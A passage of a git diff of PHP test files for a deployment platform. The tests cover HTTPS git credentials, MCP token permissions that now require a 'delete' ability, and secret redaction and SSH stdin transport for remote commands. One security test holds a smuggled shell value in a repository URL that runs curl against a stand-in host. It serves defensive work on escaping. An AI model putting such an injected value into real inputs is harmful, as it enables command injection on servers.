'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'autogenerate_domain' => false, + 'git_https_username' => 'deploy-bot', + 'git_https_password' => 'api-created-token', + ])->assertCreated(); + + $application = Application::where('uuid', $response->json('uuid'))->firstOrFail(); + expect($application->git_https_password)->toBe('api-created-token') + ->and($application->gitHttpsCredentialConfigOption())->not->toBeNull(); + + $this->withToken($token)->getJson("/api/v1/applications/{$application->uuid}") + ->assertOk() + ->assertJsonPath('git_https_username', 'deploy-bot') + ->assertJsonMissingPath('git_https_password') + ->assertDontSee('api-created-token'); +}); + +test('the API rejects an HTTPS credential where it is not used', function (string $endpoint, array $payload) { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $this->withToken($token)->postJson($endpoint, [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + 'server_uuid' => $this->server->uuid, + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'autogenerate_domain' => false, + ...$payload, + ])->assertUnprocessable()->assertJsonValidationErrors('git_https_password'); +})->with([ + 'github.com' => ['/api/v1/applications/public', ['git_repository' => 'https://github.com/org/app', 'git_https_password' => 'token']], + 'username only' => ['/api/v1/applications/public', ['git_repository' => 'https://git.example.com/org/app.git', 'git_https_username' => 'deploy-bot']], + 'deploy key endpoint' => ['/api/v1/applications/private-deploy-key', ['git_repository' => 'git@git.example.com:org/app.git', 'git_https_password' => 'token']], +]); + +test('the API updates and removes the HTTPS credential', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_username' => 'deploy-bot', + 'git_https_password' => 'updated-token', + ])->assertOk()->assertDontSee('updated-token'); + expect($this->application->fresh()->git_https_password)->toBe('updated-token'); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => null, + ])->assertOk(); + expect($this->application->fresh()->git_https_password)->toBeNull() + ->and($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('the API rejects an HTTPS credential for an application with a deploy key', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + $this->application->forceFill(['private_key_id' => 0])->save(); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => 'token', + ])->assertUnprocessable()->assertJsonValidationErrors('git_https_password'); + expect($this->application->fresh()->git_https_password)->toBeNull(); +}); + +test('a token of another team cannot set the HTTPS credential', function () { + $otherUser = User::factory()->create(); + $otherTeam = Team::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + $token = gitHttpsCredentialApiToken($otherUser, $otherTeam); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => 'attacker-token', + ])->assertNotFound(); + expect($this->application->fresh()->git_https_password)->toBeNull(); +}); diff --git a/tests/Feature/Mcp/McpApplicationToolsTest.php b/tests/Feature/Mcp/McpApplicationToolsTest.php index ffec7af91e..a68439172c 100644 --- a/tests/Feature/Mcp/McpApplicationToolsTest.php +++ b/tests/Feature/Mcp/McpApplicationToolsTest.php @@ -72,7 +72,7 @@ function mcpAppCreateApplication(Environment $environment, StandaloneDocker $des return $application; } -function mcpAppToken(User $user, array $abilities = ['write']): string +function mcpAppToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-app', $abilities)->plainTextToken; } @@ -307,13 +307,13 @@ test('manage_application updates, clones and moves an application of the token t ->and($this->application->fresh()->environment_id)->toBe($target->id); }); -test('manage_application deletes an application only with confirm=true and a deploy token', function () { - $writeOnly = mcpAppCall(mcpAppToken($this->user), 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid, 'confirm' => true]); +test('manage_application deletes an application only with confirm=true and a delete token', function () { + $writeOnly = mcpAppCall(mcpAppToken($this->user, ['write']), 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid, 'confirm' => true]); expect(mcpAppIsError($writeOnly))->toBeTrue() - ->and(mcpAppText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpAppText($writeOnly))->toContain('Missing required permissions: delete') ->and(Application::find($this->application->id))->not->toBeNull(); - $token = mcpAppToken($this->user, ['write', 'deploy']); + $token = mcpAppToken($this->user, ['write', 'delete']); $denied = mcpAppCall($token, 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid]); expect(mcpAppIsError($denied))->toBeTrue() @@ -428,14 +428,14 @@ test('manage_preview creates, updates and deletes a preview of the token team', $writeOnlyDelete = mcpAppCall($writeToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); expect(mcpAppIsError($writeOnlyDelete))->toBeTrue() - ->and(mcpAppText($writeOnlyDelete))->toContain('Missing required permissions: deploy'); + ->and(mcpAppText($writeOnlyDelete))->toContain('Missing required permissions: delete'); - $writeDeployToken = mcpAppToken($this->user, ['write', 'deploy']); - $denied = mcpAppCall($writeDeployToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7']); + $deleteToken = mcpAppToken($this->user, ['delete']); + $denied = mcpAppCall($deleteToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7']); expect(mcpAppIsError($denied))->toBeTrue() ->and(mcpAppText($denied))->toContain('confirm=true'); - $deleted = mcpAppCall($writeDeployToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); + $deleted = mcpAppCall($deleteToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); expect(mcpAppIsError($deleted))->toBeFalse(mcpAppText($deleted)) ->and(ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', 7)->exists())->toBeFalse(); }); diff --git a/tests/Feature/Mcp/McpDataToolsTest.php b/tests/Feature/Mcp/McpDataToolsTest.php index dd96ca9cd9..fd8736e85a 100644 --- a/tests/Feature/Mcp/McpDataToolsTest.php +++ b/tests/Feature/Mcp/McpDataToolsTest.php @@ -102,7 +102,7 @@ function mcpDataSeedTeam(Team $team): array ]; } -function mcpDataToken(User $user, array $abilities = ['write']): string +function mcpDataToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-data', $abilities)->plainTextToken; } @@ -308,7 +308,7 @@ test('manage_database clones to an own destination and moves to an own environme test('manage_database destructive actions need confirm=true', function (string $action, array $data) { $own = $this->mine['database']; - $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_database', ['action' => $action, 'uuid' => $own->uuid, 'data' => $data]); + $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy', 'delete']), 'manage_database', ['action' => $action, 'uuid' => $own->uuid, 'data' => $data]); expect(mcpDataIsError($denied))->toBeTrue() ->and(mcpDataText($denied))->toContain('confirm=true') @@ -324,12 +324,12 @@ test('manage_database destructive actions need confirm=true', function (string $ test('manage_database delete with confirm=true deletes an own database', function () { $own = $this->mine['database']; - $writeOnly = mcpDataCall(mcpDataToken($this->user), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); + $writeOnly = mcpDataCall(mcpDataToken($this->user, ['write']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); expect(mcpDataIsError($writeOnly))->toBeTrue() - ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: delete') ->and(StandalonePostgresql::find($own->id))->not->toBeNull(); - $response = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); + $response = mcpDataCall(mcpDataToken($this->user, ['delete']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); expect(mcpDataIsError($response))->toBeFalse() ->and(StandalonePostgresql::find($own->id))->toBeNull(); @@ -565,7 +565,7 @@ test('manage_service rejects a destination, environment, or S3 storage of anothe test('manage_service destructive actions need confirm=true', function (string $action) { $own = $this->mine; - $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_service', ['action' => $action, 'uuid' => $own['service']->uuid, 'database_uuid' => $own['service_db']->uuid, 'data' => ['destination_uuid' => 'x']]); + $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy', 'delete']), 'manage_service', ['action' => $action, 'uuid' => $own['service']->uuid, 'database_uuid' => $own['service_db']->uuid, 'data' => ['destination_uuid' => 'x']]); expect(mcpDataIsError($denied))->toBeTrue() ->and(mcpDataText($denied))->toContain('confirm=true') @@ -573,12 +573,12 @@ test('manage_service destructive actions need confirm=true', function (string $a })->with(['delete', 'clone', 'move', 'import_database']); test('manage_service delete with confirm=true deletes an own service', function () { - $writeOnly = mcpDataCall(mcpDataToken($this->user), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); + $writeOnly = mcpDataCall(mcpDataToken($this->user, ['write']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); expect(mcpDataIsError($writeOnly))->toBeTrue() - ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: delete') ->and(Service::find($this->mine['service']->id))->not->toBeNull(); - $response = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); + $response = mcpDataCall(mcpDataToken($this->user, ['delete']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); expect(mcpDataIsError($response))->toBeFalse() ->and(Service::find($this->mine['service']->id))->toBeNull(); diff --git a/tests/Feature/Mcp/McpOperationsToolsTest.php b/tests/Feature/Mcp/McpOperationsToolsTest.php index db2a0c60fb..604f8c8003 100644 --- a/tests/Feature/Mcp/McpOperationsToolsTest.php +++ b/tests/Feature/Mcp/McpOperationsToolsTest.php @@ -116,7 +116,7 @@ function mcpOpsSeedTeam(Team $team): array return compact('server', 'destination', 'project', 'environment', 'application', 'database', 'service', 'serviceApplication', 'serviceDatabase', 'volume', 's3'); } -function mcpOpsToken(User $user, array $abilities = ['read', 'write']): string +function mcpOpsToken(User $user, array $abilities = ['read', 'write', 'delete']): string { return $user->createToken('mcp-ops', $abilities)->plainTextToken; } @@ -268,7 +268,7 @@ test('deploy by tag rejects read-only and member tokens', function () { // ---------------------------------------------------------------- manage_scheduled_task test('manage_scheduled_task creates, updates, executes, and deletes tasks of the token team', function (string $resource, string $key) { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $owner = $this->own[$key]; $created = mcpOpsCall($token, 'manage_scheduled_task', ['action' => 'create', 'resource' => $resource, 'uuid' => $owner->uuid, 'data' => ['name' => 'cleanup', 'command' => 'echo SECRETCMD', 'frequency' => 'daily']]); @@ -318,7 +318,7 @@ test('manage_scheduled_task cannot reach tasks or resources of another team', fu test('manage_scheduled_task needs confirm for delete and execute and rejects read-only tokens', function () { $task = ScheduledTask::factory()->create(['team_id' => $this->team->id, 'application_id' => $this->own['application']->id]); - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); foreach (['delete', 'execute'] as $action) { $response = mcpOpsCall($token, 'manage_scheduled_task', ['action' => $action, 'resource' => 'application', 'uuid' => $this->own['application']->uuid, 'task_uuid' => $task->uuid]); @@ -339,7 +339,7 @@ test('manage_scheduled_task needs confirm for delete and execute and rejects rea // ---------------------------------------------------------------- manage_backup test('manage_backup creates, updates, runs, and deletes a backup schedule of the token team', function () { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $database = $this->own['database']; $created = mcpOpsCall($token, 'manage_backup', ['action' => 'create', 'uuid' => $database->uuid, 'data' => ['frequency' => 'daily', 'save_s3' => true, 's3_storage_uuid' => $this->own['s3']->uuid]]); @@ -452,7 +452,7 @@ test('manage_storage creates, updates, and deletes storages of the token team', }); test('manage_storage sets, runs, and removes a volume backup without returning S3 secrets', function () { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $args = ['resource' => 'application', 'uuid' => $this->own['application']->uuid, 'storage_uuid' => $this->own['volume']->uuid]; $set = mcpOpsCall($token, 'manage_storage', [...$args, 'action' => 'set_backup', 'data' => ['frequency' => 'daily', 'save_s3' => true, 's3_storage_uuid' => $this->own['s3']->uuid]]); @@ -517,7 +517,7 @@ test('manage_storage cannot reach storages of another team', function (string $a test('manage_storage needs confirm for delete, remove_backup, and run_backup and rejects read-only tokens', function () { $this->own['volume']->scheduledBackups()->create(['team_id' => $this->team->id, 'frequency' => 'daily']); $args = ['resource' => 'application', 'uuid' => $this->own['application']->uuid, 'storage_uuid' => $this->own['volume']->uuid]; - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); foreach (['delete', 'remove_backup', 'run_backup'] as $action) { $response = mcpOpsCall($token, 'manage_storage', [...$args, 'action' => $action]); diff --git a/tests/Feature/Mcp/McpReadToolsTest.php b/tests/Feature/Mcp/McpReadToolsTest.php index eec03a226d..d368f86996 100644 --- a/tests/Feature/Mcp/McpReadToolsTest.php +++ b/tests/Feature/Mcp/McpReadToolsTest.php @@ -1634,7 +1634,7 @@ test('team members cannot retrieve logs with sensitive read ability', function ( // Elevated member tokens are rejected as JSON-RPC errors (HTTP 200) so MCP clients can parse them. $response->assertOk(); expect($response->json('error.message') ?? $response->json('result.content.0.text') ?? '') - ->toMatch('/team role|Missing required/i'); + ->toMatch('/more access than you have/'); }); test('get_logs returns structured next_tools when application is not running', function () { @@ -1836,7 +1836,7 @@ test('team member with deploy ability cannot call lifecycle tools', function () $response->assertOk(); expect($response->json('jsonrpc'))->toBe('2.0'); expect($response->json('error.message') ?? $response->json('result.content.0.text') ?? '') - ->toMatch('/team role|Missing required/i'); + ->toMatch('/more access than you have/'); }); test('control start with deploy ability queues application deployment', function () { diff --git a/tests/Feature/Mcp/McpServerToolsTest.php b/tests/Feature/Mcp/McpServerToolsTest.php index 7adbc2e0f0..8ebf036c95 100644 --- a/tests/Feature/Mcp/McpServerToolsTest.php +++ b/tests/Feature/Mcp/McpServerToolsTest.php @@ -108,7 +108,7 @@ afterEach(function () { Server::flushIdentityMap(); }); -function mcpSrvToken(User $user, array $abilities = ['read', 'write']): string +function mcpSrvToken(User $user, array $abilities = ['read', 'write', 'delete']): string { return $user->createToken('mcp-srv', $abilities)->plainTextToken; } @@ -205,7 +205,7 @@ test('server group write actions reject member tokens', function (string $tool, $response = mcpSrvCall(mcpSrvToken($member, ['read', 'write']), $tool, $arguments + ['confirm' => true]); expect($response->json('result'))->toBeNull() - ->and($response->json('error.message'))->toBe('Missing required team role.'); + ->and($response->json('error.message'))->toBe('This API token has more access than you have in this team. Revoke it and create a new token.'); })->with([ 'manage_server update' => ['manage_server', ['action' => 'update', 'data' => ['name' => 'x']]], 'manage_private_key create' => ['manage_private_key', ['action' => 'create']], @@ -215,7 +215,7 @@ test('server group write actions reject member tokens', function (string $tool, ]); test('server group destructive actions need confirm=true', function (string $tool, array $arguments) { - $response = mcpSrvCall(mcpSrvToken($this->user, ['read', 'write', 'deploy']), $tool, $arguments); + $response = mcpSrvCall(mcpSrvToken($this->user, ['read', 'write', 'deploy', 'delete']), $tool, $arguments); expect(mcpSrvIsError($response))->toBeTrue() ->and(mcpSrvText($response))->toContain('requires confirm=true'); @@ -602,7 +602,7 @@ test('manage_git_source cannot change or delete GitHub apps of another team, inc ])->with(['update', 'delete']); test('manage_git_source creates, updates, and deletes a GitLab app without returning secrets', function () { - $token = mcpSrvToken($this->user, ['read', 'write']); + $token = mcpSrvToken($this->user, ['read', 'write', 'delete']); $create = mcpSrvCall($token, 'manage_git_source', ['action' => 'create', 'resource' => 'gitlab', 'data' => [ 'name' => 'mcp-gitlab', 'html_url' => 'https://gitlab.com', 'client_secret' => 'GL_CLIENT_SECRET_VALUE', 'webhook_token' => 'GL_WEBHOOK_TOKEN_VALUE', diff --git a/tests/Feature/Mcp/McpWriteToolsTest.php b/tests/Feature/Mcp/McpWriteToolsTest.php index 3db6c4ff08..02ce354f75 100644 --- a/tests/Feature/Mcp/McpWriteToolsTest.php +++ b/tests/Feature/Mcp/McpWriteToolsTest.php @@ -28,7 +28,7 @@ beforeEach(function () { session(['currentTeam' => $this->team]); }); -function mcpWriteToken(User $user, array $abilities = ['write']): string +function mcpWriteToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-write', $abilities)->plainTextToken; } diff --git a/tests/Feature/RemoteProcessRedactionTest.php b/tests/Feature/RemoteProcessRedactionTest.php index 525dda6614..c3f30e848a 100644 --- a/tests/Feature/RemoteProcessRedactionTest.php +++ b/tests/Feature/RemoteProcessRedactionTest.php @@ -141,7 +141,7 @@ it('redacts a database start secret that is split across output chunks', functio $activity = remote_process(['echo ok'], $this->server); // The process fake ends every output chunk with a newline, so the chunks are sent by hand. $invoked = Mockery::mock(InvokedProcess::class); - Process::shouldReceive('timeout->idleTimeout->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked) { + Process::shouldReceive('timeout->idleTimeout->input->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked) { $invoked->shouldReceive('wait')->andReturnUsing(function () use ($output) { foreach (['value is split-sec', "ret-value\nnext ", 'line split-secret-value'] as $chunk) { $output('out', $chunk); @@ -169,7 +169,7 @@ function runRemoteProcessWithChunks(Activity $activity, array $chunks, ?Throwabl // The process fake ends every output chunk with a newline, so the chunks are sent by hand. $invoked = Mockery::mock(InvokedProcess::class); $invoked->shouldReceive('id')->andReturn(123); - Process::shouldReceive('timeout->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked, $chunks, $failure) { + Process::shouldReceive('timeout->input->start')->andReturnUsing(function (string $command, Closure $output) use ($invoked, $chunks, $failure) { $invoked->shouldReceive('wait')->andReturnUsing(function () use ($output, $chunks, $failure) { foreach ($chunks as [$type, $chunk]) { $output($type, $chunk); diff --git a/tests/Feature/Security/ApiTokenCreationSecurityTest.php b/tests/Feature/Security/ApiTokenCreationSecurityTest.php index fa7e4434b2..67af723a7e 100644 --- a/tests/Feature/Security/ApiTokenCreationSecurityTest.php +++ b/tests/Feature/Security/ApiTokenCreationSecurityTest.php @@ -1,6 +1,6 @@ $this->team]); $token = $this->member->createToken('legacy-wildcard-token', ['*']); @@ -203,7 +203,7 @@ describe('ApiAbility middleware — member with elevated token blocked', functio ->assertStatus(403); }); - test('ApiAbility evaluates member token abilities through the token', function () { + test('the token team middleware evaluates member token abilities through the token', function () { session(['currentTeam' => $this->team]); $token = $this->member->createToken('token', ['*']); $this->member->withAccessToken($token->accessToken); @@ -211,7 +211,7 @@ describe('ApiAbility middleware — member with elevated token blocked', functio $request = Request::create('/api/v1/projects'); $request->setUserResolver(fn () => $this->member); - $response = (new ApiAbility)->handle($request, fn () => response('ok'), 'read'); + $response = (new EnsureTokenBelongsToCurrentTeamMember)->handle($request, fn () => response('ok')); expect($response->getStatusCode())->toBe(403); }); diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php index a5d97bdb98..21fb1ce86b 100644 --- a/tests/Feature/Security/CommandInjectionSecurityTest.php +++ b/tests/Feature/Security/CommandInjectionSecurityTest.php @@ -291,6 +291,7 @@ describe('deployment git command escaping', function () { $instance = $job->newInstanceWithoutConstructor(); foreach ([ + 'application' => new Application, 'customPort' => 22, 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", ] as $property => $value) { diff --git a/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php b/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php index 3c5c20bdaa..c8c1b80f8f 100644 --- a/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php +++ b/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php @@ -59,7 +59,7 @@ afterEach(function () { test('deleting a server fails its queued deployments', function (string $path) { if ($path === 'api') { - $token = $this->user->createToken('server-delete', ['write', 'deploy'])->plainTextToken; + $token = $this->user->createToken('server-delete', ['write', 'deploy', 'delete'])->plainTextToken; $this->withHeaders(['Authorization' => 'Bearer '.$token]) ->deleteJson("/api/v1/servers/{$this->server->uuid}?force=true") ->assertOk(); diff --git a/tests/Feature/SshBatchStdinTransportTest.php b/tests/Feature/SshBatchStdinTransportTest.php new file mode 100644 index 0000000000..d190760289 --- /dev/null +++ b/tests/Feature/SshBatchStdinTransportTest.php @@ -0,0 +1,290 @@ +set('constants.ssh.mux_enabled', false); + config()->set('constants.ssh.max_retries', 3); + config()->set('constants.ssh.retry_base_delay', 0); + config()->set('constants.ssh.retry_max_delay', 0); + Server::flushIdentityMap(); + + $this->stubDir = sys_get_temp_dir().'/ssh-stdin-stub-'.uniqid(); + File::ensureDirectoryExists($this->stubDir.'/bin'); + File::ensureDirectoryExists($this->stubDir.'/log'); + + $log = $this->stubDir.'/log'; + $phpPid = getmypid(); + File::put($this->stubDir.'/bin/ssh', << "{$log}/argv.\$id" +pid=\$\$ +while [ "\$pid" -gt 1 ] && [ "\$pid" != "{$phpPid}" ]; do + tr '\\0' ' ' < /proc/\$pid/cmdline >> "{$log}/ancestors.\$id" + echo >> "{$log}/ancestors.\$id" + pid=\$(sed 's/.*) //' /proc/\$pid/stat | cut -d' ' -f2) +done +tee "{$log}/stdin.\$id" | sh -c "\${@: -1}" +BASH); + File::put($this->stubDir.'/bin/sudo', "#!/bin/sh\nexec \"\$@\"\n"); + chmod($this->stubDir.'/bin/ssh', 0755); + chmod($this->stubDir.'/bin/sudo', 0755); + File::put($this->stubDir.'/bin/docker', "#!/bin/sh\n[ \"\$3\" = login ] && { cat > \"{$log}/docker-login.stdin\"; echo 'Login Succeeded'; }\nexit 0\n"); + chmod($this->stubDir.'/bin/docker', 0755); + + $this->originalPath = getenv('PATH'); + $path = $this->stubDir.'/bin:'.$this->originalPath; + putenv("PATH={$path}"); + $_SERVER['PATH'] = $_ENV['PATH'] = $path; +}); + +afterEach(function () { + putenv("PATH={$this->originalPath}"); + $_SERVER['PATH'] = $_ENV['PATH'] = $this->originalPath; + File::deleteDirectory($this->stubDir); + Server::flushIdentityMap(); +}); + +function sshStdinStubServer(string $user = 'root'): Server +{ + $owner = User::factory()->create(); + $team = $owner->teams()->first(); + + Storage::fake('ssh-keys'); + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKey->private_key); + + return Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => $privateKey->id, + 'user' => $user, + ]); +} + +/** + * @return array{invocations: int, argv: string, stdin: string} + */ +function sshStdinStubRecords(string $stubDir): array +{ + $files = fn (string $prefix) => glob("{$stubDir}/log/{$prefix}.*") ?: []; + $read = fn (string $prefix) => collect($files($prefix))->map(fn (string $file) => (string) file_get_contents($file))->implode("\n"); + + return [ + 'invocations' => count($files('argv')), + 'argv' => $read('argv')."\n".$read('ancestors'), + 'stdin' => $read('stdin'), + ]; +} + +function sshStdinRemoteProcessActivity(Server $server, string $command): Activity +{ + return activity() + ->withProperties([ + 'server_uuid' => $server->uuid, + ...RemoteProcessCommand::properties($command), + 'type' => 'inline', + 'status' => ProcessStatus::QUEUED->value, + 'team_id' => $server->team_id, + ]) + ->event('inline') + ->log('[]'); +} + +function sshStdinDeploymentRunner(Server $server): object +{ + $queue = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'ssh-stdin-deployment', + 'application_id' => 0, + 'server_id' => $server->id, + 'status' => 'in_progress', + ]); + + return new class($server, $queue) + { + use ExecuteRemoteCommand; + + public Collection $saved_outputs; + + public function __construct(public Server $server, public ApplicationDeploymentQueue $application_deployment_queue) + { + $this->saved_outputs = collect(); + } + }; +} + +it('runs an instant remote batch with its secret only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + + $output = instant_remote_process([ + 'export DB_PASSWORD='.SSH_STDIN_SECRET, + 'test -n "$DB_PASSWORD"', + 'echo "len=${#DB_PASSWORD} literal=\$HOME tick=`echo t`"', + ], $server); + + $records = sshStdinStubRecords($this->stubDir); + expect($output)->toBe('len='.strlen(SSH_STDIN_SECRET).' literal=$HOME tick=t') + ->and($records['invocations'])->toBe(1) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->toContain('bash -se') + ->not->toContain(SSH_STDIN_SECRET); + if ($user !== 'root') { + expect($records['stdin'])->toContain('sudo test -n'); + } +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('does not retry a remote command that fails with exit code 1', function () { + $server = sshStdinStubServer(); + + expect(fn () => instant_remote_process(['echo '.SSH_STDIN_SECRET.' > /dev/null', 'echo failed >&2', 'exit 1', 'echo never'], $server)) + ->toThrow(RuntimeException::class, 'failed'); + + $records = sshStdinStubRecords($this->stubDir); + expect($records['invocations'])->toBe(1) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +}); + +it('retries the whole batch when ssh exits with the transport code 255', function () { + $server = sshStdinStubServer(); + + expect(fn () => instant_remote_process(['echo '.SSH_STDIN_SECRET.' > /dev/null', 'echo "Connection refused" >&2', 'exit 255'], $server)) + ->toThrow(RuntimeException::class); + + $records = sshStdinStubRecords($this->stubDir); + expect($records['invocations'])->toBe(3) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +}); + +it('returns nothing for a failed batch with errors ignored', function () { + $server = sshStdinStubServer(); + + expect(instant_remote_process(['exit 3'], $server, throwError: false))->toBeNull(); +}); + +it('runs batches larger than the 128 KiB argument limit and returns large output', function () { + $server = sshStdinStubServer(); + $payload = str_repeat('a', 200 * 1024); + + $output = instant_remote_process([ + "PAYLOAD='{$payload}'", + 'echo "${#PAYLOAD}"', + 'head -c 3000000 /dev/zero | tr "\0" "b"', + ], $server); + + expect(strlen($output))->toBe(strlen((string) (200 * 1024)) + 1 + 3000000) + ->and($output)->toStartWith((200 * 1024)."\nbbb"); +}); + +it('streams remote process output into the activity log with the secret only on stdin', function (string $user) { + $server = sshStdinStubServer($user); + $activity = sshStdinRemoteProcessActivity($server, implode("\n", [ + 'export TOKEN='.SSH_STDIN_SECRET, + 'echo first', + 'sleep 0.5', + 'echo second', + ])); + + $result = (new RunRemoteProcess($activity))(); + + $entries = collect(json_decode($activity->fresh()->description, true)); + $records = sshStdinStubRecords($this->stubDir); + expect($result->exitCode())->toBe(0) + ->and($entries->pluck('output')->map(fn ($output) => trim($output))->all())->toBe(['first', 'second']) + ->and($activity->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::FINISHED->value) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('keeps the exit code of a failed remote process and honours ignore_errors', function () { + $server = sshStdinStubServer(); + + $failing = sshStdinRemoteProcessActivity($server, "echo broken >&2\nexit 7"); + expect(fn () => (new RunRemoteProcess($failing))())->toThrow(RuntimeException::class, 'broken'); + expect($failing->fresh()->getExtraProperty('exitCode'))->toBe(7) + ->and($failing->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::ERROR->value); + + $ignored = sshStdinRemoteProcessActivity($server, 'exit 7'); + expect((new RunRemoteProcess($ignored, ignore_errors: true))()->exitCode())->toBe(7); +}); + +it('runs deployment commands with the secret only on stdin and streams their output', function (string $user) { + $server = sshStdinStubServer($user); + $runner = sshStdinDeploymentRunner($server); + + $runner->execute_remote_command( + ['command' => 'test -n '.SSH_STDIN_SECRET.' && echo deploy-42', 'hidden' => true], + ['command' => 'cat', 'input' => "from-input\n"], + ['command' => 'false', 'ignore_errors' => true], + ); + + $logs = collect(json_decode($runner->application_deployment_queue->fresh()->logs, true))->pluck('output'); + $records = sshStdinStubRecords($this->stubDir); + expect($logs->all())->toContain('deploy-42', 'from-input') + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('fails a deployment command with its remote exit code', function () { + $server = sshStdinStubServer(); + $runner = sshStdinDeploymentRunner($server); + + expect(fn () => $runner->execute_remote_command(['command' => 'echo nope >&2; exit 4'])) + ->toThrow(DeploymentException::class, 'exit code 4'); + expect(sshStdinStubRecords($this->stubDir)['invocations'])->toBe(1); +}); + +it('starts a database with its password only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + $database = new class extends Model {}; + $database->setRelation('destination', (object) ['server' => $server]); + $activity = activity()->withProperties(['status' => ProcessStatus::QUEUED->value])->event('inline')->log('[]'); + + app(DatabaseStartCommandExecutor::class)->execute([ + 'export POSTGRES_PASSWORD='.SSH_STDIN_SECRET, + 'echo "started ${#POSTGRES_PASSWORD}"', + ], $database, $activity); + + $records = sshStdinStubRecords($this->stubDir); + expect($activity->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::FINISHED->value) + ->and(collect(json_decode($activity->fresh()->description, true))->pluck('output')->implode(''))->toContain('started '.strlen(SSH_STDIN_SECRET)) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 